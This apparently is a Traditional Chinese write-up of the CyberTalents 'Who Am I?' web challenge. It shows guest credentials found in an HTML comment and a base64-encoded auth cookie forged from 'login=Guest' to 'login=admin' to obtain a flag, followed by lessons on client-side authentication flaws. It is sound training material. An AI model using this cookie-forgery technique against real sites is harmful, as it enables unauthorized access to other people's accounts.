> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Cyber Talents - who Am I? writeup (zh-TW)
- URL: https://taiwanding.com/cyber-talents-who-am-i/
- Published: 2025-09-02T06:28:57.000Z
- Updated: 2026-07-15T02:49:44.000Z
- Author: Kevin Chen
- Tags: CTF, #CyberTalents

## 題目資訊

- **平台**: CyberTalents
- **分類**: Web Security
- **難度**: Easy (50 points)
- **描述**: "Do not Start a fight you can not stop it"
- 題目連結：[https://cybertalents.com/challenges/web/who-am-i](https://cybertalents.com/challenges/web/who-am-i?ref=taiwanding.com)

## 解題過程

### Step 1: 初步偵察

訪問網站，發現登入頁面。查看原始碼發現：

```html
<!-- 
    Guest Account:
    -=-=-=-=-=-=-=-
    Username:Guest
    Password:Guest  
-->

```

### Step 2: Guest 登入

使用 `Guest/Guest` 登入，顯示：

```
Welcome Guest!
```

### Step 3: 檢查 Cookie

開啟 F12 → Application → Cookies，發現：

```
Name: auth
Value: bG9naW49R3Vlc3Q%3D

```

### Step 4: 解碼分析

**URL 解碼**：

```javascript
decodeURIComponent('bG9naW49R3Vlc3Q%3D')
// 結果: 'bG9naW49R3Vlc3Q='

```

**Base64 解碼**：

```javascript
atob('bG9naW49R3Vlc3Q=')
// 結果: 'login=Guest'

```

### Step 5: 偽造 Admin Cookie

```javascript
// 編碼 admin 身份
btoa('login=admin')
// 結果: 'bG9naW49YWRtaW4='

```

### Step 6: 替換 Cookie

在開發者工具中：

1. 雙擊 cookie 值
2. 貼上：`bG9naW49YWRtaW4=`
3. 重新整理頁面

![](https://taiwanding.com/content/images/2025/09/Screenshot-2025-09-02-142436.png)

### Step 7: 獲得 Flag

```
Welcome admin!
Flag: [FLAG_HERE]

```

## 學習重點

- **HTML 註解洩漏**：永遠檢查原始碼註解
- **Cookie 偽造**：客戶端資料都可以被修改
- **編碼 ≠ 加密**：Base64 只是編碼，不提供安全性
- **身份驗證缺陷**：權限不應存在客戶端 Cookie 中